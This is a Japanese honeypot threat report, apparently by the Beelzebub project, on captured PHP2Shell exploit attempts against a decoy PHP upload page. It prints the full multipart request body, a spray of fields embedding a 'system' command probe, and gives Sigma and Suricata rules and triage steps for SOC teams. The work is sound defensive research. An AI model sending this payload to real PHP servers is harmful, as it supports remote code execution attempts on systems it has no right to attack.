PHP2Shellの実攻撃を捕捉：Beelzebubが記録したエクスプロイト試行 | AIネイティブ能動防御

6件のリクエスト、同一のコマンドを含む149個のフィールド、そしてPHPのおとりサービス。PHP2Shellを狙ったとみられるエクスプロイト試行をリクエスト単位で分析し、SOCチーム向けのSigmaルールとSuricataルールを記事内に掲載します。

2026年10月22日、Beelzebubのハニーポットが、模擬的なPHP文書ポータルを狙った一連の外部リクエストを受信しました。中でも最も注目すべきリクエストには、同一のバイナリフィールドが149個含まれており、そのすべてに同じコマンドが埋め込まれていました。

sleep 6; echo 2701

本レポートでは、捕捉した6件のリクエスト、おとりの構成、そして最後のリクエストの本文全体を検証します。これらは、PHP2Shell関連のペイロードと整合する外部からのコマンド実行試行を示しています。ただし、脆弱なPHPランタイムでこのペイロードが実際に悪用できたことを裏付けるものではありません。受信側はおとりのサービスであり、手元の証拠もリクエストのみだからです。

重要なのは、センサーに届いた内容そのものです。明示的なコマンド実行チェックを備えた、構造化マルチパートのペイロードでした。後述のSOC向けセクションでは、2つのSigmaルールと2つのSuricataシグネチャをすべて記事内に掲載しています。

PHP2Shell：トラフィックの背後にある脆弱性

PHP2Shellは、PHP本体に存在する2種類の関連する脆弱性を指します。CVE-2026-109618は、メモリ不足（OOM）処理に関連するメモリ破壊に関するものです。CVE-2026-109619は、失敗したリクエストの後も残り続けるグローバル状態が、後続の処理で解放済みメモリを参照しうる問題です。悪用の条件はそれぞれ異なります。そのため、リクエストにPHP2Shellへの言及があるだけでは、どちらの経路を狙ったのかは判断できません。PHP Foundation

PHP Foundationは、本記事で分析するトラフィックの前日にあたる2026年10月21日に、修正版のリリースを発表しました。あわせて、公開時点で出回っていた公開PoCを調べたものの、動作するエクスプロイトは確認できなかったと報告しています。ペイロードが標榜する目的と、実際に実証された能力とを区別することが、とりわけ重要になります。PHP Foundation

ペイロードの構造はPHP2Shell関連の試行と整合しますが、これらのリクエストだけでは、どの脆弱性の経路を突けるのかは確定できません。CVE-2026-109619は背景情報として関連するものの、今回のトラフィックの帰属を独立して裏付けるものではありません。

もっともらしいPHPターゲットの構築

Beelzebubのプロファイルは、80番ポートでHTTPサービスを公開していました。小規模な文書ライブラリ「Archive Portal」を装い、ライブラリ、アップロードフォーム、ログインページ、模擬のphpinfo.phpを公開面として備えていました。

これらは模擬環境の属性にすぎず、ハニーポットが脆弱なPHPインタプリタを実行していた証拠ではありません。

アップロードフォームにはPHP_SESSION_UPLOAD_PROGRESSを含め、模擬のphpinfo()ページにも対応するセッションとメモリの設定を表示しました。これにより、訪問者が調べられる一貫したアプリケーション面を用意しています。

一部のPOSTリクエストは、BeelzebubのLLMハニーポットプラグインに振り分けました。その指示では、合成されたアプリケーション応答、メモリ枯渇メッセージ、限られた種類の模擬コマンド出力を許可しています。一方で、コマンドの実行、アップロードファイルの保存、外部への接続は禁止しています。

この設計は、証拠として扱える範囲も定めます。おとりが返した説得力のある応答は、欺瞞動作を示すだけで、PHPメモリの破壊が成功した証拠にはなりません。プロファイルが想定する応答と、実際に記録されたトラフィックは、切り分けて扱う必要があります。

53秒間に6件のリクエスト

提供された記録には、211.240.117.200からの6件のリクエストが含まれています。いずれも/upload.phpを対象とし、10月22日の06:33:42から06:34:35（UTC）の間に発生しました。

最初の4件は2組のGET/POSTのペアで、各ペアが同じセッションCookieを共有しています。これはペア内の関連を示すものの、送信者が想定した、あるいは実際に受け取ったアプリケーションの状態までは分かりません。

先行する2件のPOSTは、本文全体が入手できていません。長さとマルチパートヘッダーだけでは、メモリ枯渇を狙ったのか、アップロード処理を試したのか、別の準備段階だったのかを判断できません。

最後の2件には、目に見える共通点がいくつかあります。ただし、添付された本文全体は06:34:35のリクエストのもので、06:34:01とは別のイベントです。ヘッダーと宣言された長さが一致していても、両者の本文が同一だったことの証明にはなりません。

53秒という時間幅は、提供されたシーケンスについてのものです。センサーをいつ配備したか、この送信元が初めて接触したのがいつかを示すものではありません。

最後のマルチパート本文の中身

最後の本文は、エスケープされたテキストとして提供されました。これをデコードすると62,929バイトとなり、記録されたContent-Lengthと一致しました。エクスポートの整合性を確認する手がかりにはなりますが、独立したパケットキャプチャではありません。

各t[]の値には、同じ配列が埋め込まれていました。

system\0sleep 6; echo 2701\0

ここで\0はNULバイトを表します。この抜粋ではコマンドを強調しています。リクエスト本文の全体は、ロスレスなエスケープ表現で後述します。

この繰り返しは、ヒープスプレーの試行と整合します。ヒープスプレーとは、攻撃者が選んだ構造体の多数のコピーを、リクエストで制御できるデータに配置する手法です。ただし、これらの構造体が有効なメモリ割り当てに到達したこと、特定のPHPビルドに適合したこと、実行を乗っ取れたことは、いずれも示されていません。

存在するのはコマンドを含む同一の値149個分です。コマンドが149回実行された証拠はありません。

このコマンドからは、2つのチェックを意図していたと読み取れます。sleep 6は6秒の遅延を要求し、echo 2701は出力マーカーを要求しています。適切な環境で実行に成功していれば、送信者は応答時間と応答内容という2つのシグナルを得られたでしょう。

今回は、どちらのシグナルも入手できません。記録には応答本文もリクエストの所要時間も含まれていません。最後の2件のタイムスタンプの間にある34秒の差は、いずれかのリクエストの完了にかかった時間を測定したものではありません。

また、このプロファイルは応答テキストを生成するだけの設定で、sleepは実行しません。将来、応答時間を分析する際は、LLMの遅延を含むおとり自身の処理時間を考慮する必要があります。

捕捉したリクエスト本文の全体

下の展開ブロックには、06:34:35（UTC）に記録されたPOSTの本文全体を掲載しています。マルチパートの境界、ファイルパート、パディングのバイト、149個のt[]フィールドをすべて含み、省略記号で置き換えた箇所はありません。これはリクエスト本文であり、HTTP通信全体を再構成したものではありません。

読みやすさとロスレス性を両立するため、本文は連続する文字列チャンクのJSON配列として表現しています。各チャンクは元データで最大128バイトです。デコードした文字列を順に連結すると、本文を復元できます。配列の区切り記号と表示上の改行は送信されたバイトではありません。文字列中の\r\nと\u0000は、元のCRLFとNULを表します。

• 復元後の長さ：62,929バイト
• SHA-256：8665621acf88c8bdc9770be766c2f91e356d42ef939707ab07d3262013e72821

[
  "--B7kQpoc618\r\n",
  "Content-Disposition: form-data; name=\"PHPSESSID\"\r\n",
  "\r\n",
  "a1b2c3d4e5f6a7b8c9d0e1f2a3\r\n",
  "--B7kQpoc618\r\n",
  "Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n",
  "\r\n",
  "x\r\n",
  "--B7kQpoc618\r\n",
  "Content-Disposition: form-data; name=\"f\"; filename=\"a\"\r\n",
  "\r\n",
  "\r\n",
  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",

  "\r\n",
  "--B7kQpoc618\r\n",
  "Content-Disposition: form-data; name=\"t[]\"\r\n",
  "\r\n",
  "@\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0006\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000",
  "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\b\u0003\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000system\u0000sleep 6; echo 2701\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000",
  "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\r\n",

  "--B7kQpoc618\r\n",
  "Content-Disposition: form-data; name=\"g\"; filename=\"b\"\r\n",
  "\r\n",
  "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\n",
  "--B7kQpoc618--\r\n"
]

JSONブロックをrequest-body.jsonとして保存した場合に、そのコピーを検証するには、ペイロードを実行せずに文字列をデコードして連結します。

import hashlib
import json
from pathlib import Path
chunks = json.loads(Path("request-body.json").read_text())
body = "".join(chunks).encode("ascii")
assert len(body) == 62929
assert hashlib.sha256(body).hexdigest() == "8665621acf88c8bdc9770be766c2f91e356d42ef939707ab07d3262013e72821"

証拠から言えること

バイナリを含むマルチパートフィールドの繰り返し、アップロード進捗フィールド、埋め込まれたsystemコマンドを合わせて見ると、最後のリクエストは、PHP2Shell関連のペイロードと整合するコマンド実行の試行だと説明できます。

一方で、同じ証拠からエクスプロイトの実装が有効であるとは言えません。特徴的なマルチパートのバウンダリは、類似のペイロードを関連付ける助けにはなりますが、その出所や有効性を証明するものではありません。

ハニーポットの設定には、この種のペイロードの形状を認識するルールがすでに含まれていました。そのルールは、おとりがどう反応するよう意図されていたかを説明するものです。届いたペイロードが動作するエクスプロイトであることを独立して裏付けるものではありません。

送信元IPは、関連付けに役立つ観測情報です。記録された位置情報から、運用者の国籍、所在地、所属は特定できません。また、送信者が研究者なのか、スキャン運用者なのか、悪意あるアクセスを狙う者なのかも、リクエストからは分かりません。

SOC向け検知ルール

以下のルールは実験的なものです。対象は、観測されたフィンガープリントと不審なリクエスト構造であり、PHP2Shellのすべての亜種や、悪用の成功までは網羅していません。バウンダリのフィンガープリントは中程度の優先度、コマンドを含む構造は高優先度での調査に値します。

通常のアップロード機能だけで結論を出すべきではありません。PHP_SESSION_UPLOAD_PROGRESS、マルチパートリクエスト、セッションCookieは、いずれも正規のトラフィックにも現れます。フィンガープリントが単独で一致しても、悪意があるとは断定できません。

Sigmaの前提条件とフィールドマッピング

以下のYAMLブロックは、それぞれ別のルールとして保存してください。フィールドはお使いのSigmaバックエンドのパイプラインでマッピングします。RequestContentTypeとRequestBodyは、本記事用のカスタムフィールドです。

本文のルールでは、JSONデコード後に実際のNUL文字が必要です。リテラルのテキスト\u0000では一致しません。すでにデコード済みの本文を、もう一度アンエスケープしないでください。取り込みの過程でNULが保持されること、対象バックエンドが正規表現の16進エスケープに対応していること、フィールド長が十分であることを確認してください。本文が欠落または切り詰められていると、検知範囲が狭まります。通常のアクセスログには、必要な本文が含まれていないのが一般的です。

Sigma：観測されたマルチパートバウンダリ

このルールは、マルチパートのPOSTに含まれるバウンダリのフィンガープリントに一致します。部分文字列による照合であり、MIMEバウンダリを厳密に検証するものではありません。バウンダリを変更されると回避されます。

title: PHP2Shell Observed Multipart Boundary
id: e9e92a3d-ff68-47d3-8e32-4dba4b6997d2
status: experimental
description: Detects a POST using the boundary string observed in the October 22 capture. This is a sample fingerprint, not a general CVE signature.
references:
    - https://www.php2shell.com/
author: Beelzebub Research
date: 2026-10-22
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
    definition: Requires the request Content-Type header mapped to RequestContentType.
detection:
    selection:
        cs-method: 'POST'
        RequestContentType|contains|all:
            - 'multipart/form-data'
            - 'B7kQpoc618'
    condition: selection
fields:
    - SourceIP
    - cs-uri
    - RequestContentType
falsepositives:
    - Authorized replay, PoC testing, and copied boundary strings
level: medium

Sigma：NULで囲まれたコマンドを含むアップロード進捗フィールド

このルールは、送信元IP、URI、バウンダリ、正確なコマンド、リクエスト長、149回の繰り返しのいずれにも依存しません。2つのフィールド名の文字列に加えて、system、NUL、1〜160文字のコマンド、終端のNULが揃っていることを条件とします。繰り返されたフィールドの数は数えず、メモリ破壊の有無も検証しません。マルチパートの引用符の付け方やフィールド名を変えられると、回避される可能性があります。

title: PHP Upload Progress Multipart With NUL Framed System Command
id: 6d38ac01-c6a0-474f-803d-11596303769d
status: experimental
description: Detects the conjunction of an upload-progress field, a t[] field, and a NUL-framed system command. Independent of IP, URI, boundary, and exact command. Does not count spray copies or validate exploitation.
references:
    - https://www.php2shell.com/
author: Beelzebub Research
date: 2026-10-22
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
    definition: Requires decoded multipart RequestBody with actual NUL characters. Ordinary access logs are insufficient. Backend must support regex hex escapes and binary-preserving string ingestion.
detection:
    selection:
        cs-method: 'POST'
        RequestContentType|contains: 'multipart/form-data'
        RequestBody|contains|all:
            - 'name="PHP_SESSION_UPLOAD_PROGRESS"'
            - 'name="t[]"'
        RequestBody|re: 'system\x00[^\x00]{1,160}\x00'
    condition: selection
fields:
    - SourceIP
    - cs-uri
falsepositives:
    - Authorized exploit testing or honeypot validation
    - Uploads of security research samples containing these literal structures
level: high

Suricata：HTTPヘッダーとバイナリのリクエスト本文

以下の2つのシグネチャは、ローカルの.rulesファイルに保存してください。既存のルールセットとの衝突を避けるため、SIDは予約するか変更してください。これらはアラートのみのルールで、内部と外部の両方のクライアントを対象とします。保護対象の宛先ネットワークは、環境に合わせて絞り込んでください。

構造に関するシグネチャは、観測されたフィールド順をあえてそのまま踏襲しています。systemの直後にNULがあることを要求しますが、コマンド長や終端のNULは検査しません。そのため、Sigmaの本文ルールより広く一致します。どちらも、ヒープ割り当てや悪用の成否は検証しません。

# Experimental local signatures. Reserve/change these SIDs before deployment.
# Alert-only; no signature establishes a working exploit or successful RCE.
# 'any -> any' includes internal testing and lateral traffic; scope protected destinations locally.
alert http any any -> any any (msg:"BEELZEBUB PHP2Shell observed multipart boundary"; flow:established,to_server; http.method; content:"POST"; bsize:4; http.content_type; content:"multipart/form-data"; nocase; content:"B7kQpoc618"; nocase; classtype:web-application-attack; priority:2; sid:9900619; rev:1;)
# Body order is intentionally constrained to the observed layout. Request-body inspection
# must retain the early upload-progress field and subsequent binary fields together.
alert http any any -> any any (msg:"BEELZEBUB PHP upload progress with NUL framed system payload"; flow:established,to_server; http.method; content:"POST"; bsize:4; http.content_type; content:"multipart/form-data"; nocase; http.request_body; content:"name=|22|PHP_SESSION_UPLOAD_PROGRESS|22|"; content:"name=|22|t[]|22|"; distance:0; content:"system|00|"; distance:0; fast_pattern; classtype:web-application-attack; priority:1; sid:9900620; rev:1;)

これらのシグネチャは、Suricata 8.0.1のドキュメントに記載されたHTTPのスティッキーバッファを使用しています。HTTPSのリクエストを検査するには、TLS終端後、または同等の復号済みトラフィックが見える環境が必要です。HTTP/2やHTTP/3でも同等に動作すると決めつけず、配備済みのセンサーでプロトコルの対応範囲を確認してください。

本文の検査と検証

既知の本文は62,929バイトです。本文の検査上限が低いと、関連する内容が見落とされる恐れがあります。検査ウィンドウが小さいと、先頭のアップロード進捗フィールドと後方のコマンドが別々に扱われてしまいます。ラボでの検証用プロファイルとしては、サーバー固有の上書き設定を考慮したうえで、次の設定を有効なapp-layer.protocols.http.libhtp.default-configにマージしてください。

request-body-limit: 128kb
request-body-minimal-inspect-size: 128kb
request-body-inspect-window: 128kb
randomize-inspection-sizes: no

これらは範囲を限定したラボ向けの既定値であり、本番環境向けの汎用設定ではありません。ストリームの再構築がリクエストにも及んでいることを確認し、導入前に、分割された本文でのメモリ使用量と検知性能を検証してください。より大きな本文や、順序を入れ替えた亜種には、この設定では対応できない可能性があります。詳細はSuricataの検査設定リファレンスを参照してください。

承認済みのHTTPキャプチャをオフラインで再生する前に、ローカルのルールセットを検証します。

suricata -T -c /path/to/suricata.yaml -S /path/to/php2shell.rules

これらのシグネチャを検証するために、捕捉したペイロードを稼働中のPHPサービスへ送信する必要はありません。

2つのSigmaルールはpySigma 0.11.23でのパースに成功しました。読み込んだセレクションは、通常のアップロード、改変したバウンダリ、リテラルのエスケープNUL文字列、フィールドの欠落、本文の切り詰めを含む8件の肯定・否定テストケースに合格しています。提供された最後の本文も、記録されたContent-Typeと組み合わせると、両方のセレクションに一致しました。ただし、このフィクスチャ用マッチャーが実行したのは、ここで使用した等価、contains、all、正規表現の各演算のみです。SIEMのエミュレーターではありません。

Suricataのネイティブ構文の検証、PCAPの再生、対象SIEMへの変換と取り込みは、配備時の確認事項として残ります。ローカルのSigmaチェックに合格しても、すべてのバックエンドとの互換性が保証されるわけではありません。移植可能な形式と変換上の要件については、Sigmaルール仕様とモディファイア一覧を参照してください。

SOCのトリアージ手順

1. シグナルとその可視性を特定する。対象、タイムスタンプ、ルール、そして本文が完全に収集されたかどうかを確認します。バウンダリへの単独の一致は、フィンガープリントにすぎません。
2. 前後のリクエストを関連付ける。送信元IP、宛先／サービス、2分間のウィンドウでグループ化し、Cookieは補助的なピボットとして使います。NATや共有プロキシでは、複数の運用者が混在する可能性があります。1つのHTTPトランザクションに対する複数のルール検知は重複を排除し、今回と同じ6イベントの並びを必須条件にはしないでください。
3. 影響は別途確認する。応答、所要時間、PHPワーカーのエラー、クラッシュ、再起動を取得します。OOM、HTTP 500、6秒の応答だけでは、悪用が成功した証拠にはなりません。おとり環境では、応答本文や応答時間が合成されたものである場合もあります。
4. 実際のPHP環境ではホストのテレメトリを確認する。ワーカーが生成した想定外のプロセス、外部への通信、ファイルの変更を調べます。リクエストだけの証拠では、成功も失敗も断定できません。
5. 承認済みの活動は狭い範囲で除外する。研究サンプルのアップロード、許可されたスキャン、再生演習は、誤検知になりうる正当な活動です。例外は、既知の資産、送信元、テスト期間に限定してください。観測されたIPは、帰属の根拠や恒久的なブロックルールではなく、関連付けのためのピボットとして扱ってください。

最初の修正版PHPは、8.2.35、8.3.36、8.4.27、8.5.12です。影響を受けるすべてのランタイムに、修正版またはベンダー提供の適切なセキュリティアップデートを適用し、関連するサービスとワーカーを再起動してください。アプリケーションのアップデートだけでは、PHP本体の修正の代わりにはなりません。PHP2Shellのアップグレードガイダンス

Beelzebubは、送信されたコマンドを実行することなく、攻撃の試行を捕捉しました。得られた知見は限定的ですが、有用です。10月22日、外部の送信者が、PHP2Shell関連の活動と整合し、明示的な実行チェックを備えたペイロードを、PHPのおとりに送り込んだということです。

私たちBeelzebubは、おとりとのやり取りを防御側が活用できる知見に変えることで、インターネットをより安全な場所にすることを目指しています。証拠を公開し、それが何を意味するかを説明し、検知ルールを共有することで、セキュリティチームが自社環境で同様の活動を調査できるようにします。

本研究はその取り組みの一環です。ハニーポットに届いたものを共有することで、セキュリティコミュニティが新たな脅威を認識し、検知を改善し、人々が頼るシステムを守る一助となることを願っています。